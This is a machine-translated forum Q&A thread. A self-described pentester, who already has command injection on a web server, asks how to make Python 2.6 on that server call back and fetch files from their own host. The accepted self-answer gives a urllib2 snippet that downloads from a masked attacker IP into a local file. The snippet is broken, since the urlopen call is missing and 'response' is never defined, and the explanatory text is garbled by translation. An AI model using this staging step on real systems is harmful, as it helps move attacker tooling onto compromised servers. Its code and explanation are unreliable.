2016-12-30 65 views
0

我正在寻找一些Python脚本的帮助。Python26脚本从远程主机抓取文件

我正在做一个pentesting项目,并获得了进入命令注入和编写文件在系统wwwroot目录与有限privs的权限。 ftp和telnet都在系统上,但我没有权限给他们。在这一点上真正有用的一件事是在系统上可以使用的Python26。尽管我拥有最小的真实生活Python知识。

我的想法是...有没有一种方法可以使用Python脚本回调我的主机,并从我的主机中获取文件?如果是这样,有没有人有任何关于如何编写脚本的指针?

在此先感谢。

+0

如果您的主机上有开放端口(例如安装了FTP,WWW等的服务器),则外部计算机可以连接到您的主机。但它可能取决于远程主机和主机之间所有路由器的配置。你可以找到许多教程如何使用Python来连接到FTP,WWW甚至是MAIL。 – furas

+0

谢谢,我认为,因为我没有使用perm在账户上使用ftp,所以我不能以这种方式使用python? –

+0

虽然我会更多地关注www方向 –

回答

0
import urllib2 
file = "success2.txt" 
url = "http://xx.xx.xx.xx/test.txt" 
fh = open(file, "w") 
fh.write(response.read()) 
fh.close() 

所以这就是我在@ furas的建议后最终做了什么。

我做更多的研究,结果发现: http://www.pythonforbeginners.com/python-on-the-web/how-to-use-urllib2-in-python/

这说明它非常好。

希望这可以帮助未来的人。

据我了解的代码。 你先设置变量“文件”,这是你会写什么(绝对路径可能无关紧要的遥控器使用) 然后你设定的文件所在的URL和文件名

然后代码文件写至。然后它将从URL中打开的文件写入。

与ftp不同,这似乎并不直接“复制”文件。因此,您可能需要在fh = open(文件,“w”)中使用“wb”来完成二进制操作。我不是w和wb之间的差异,但是这种方法对我有用。

相关问题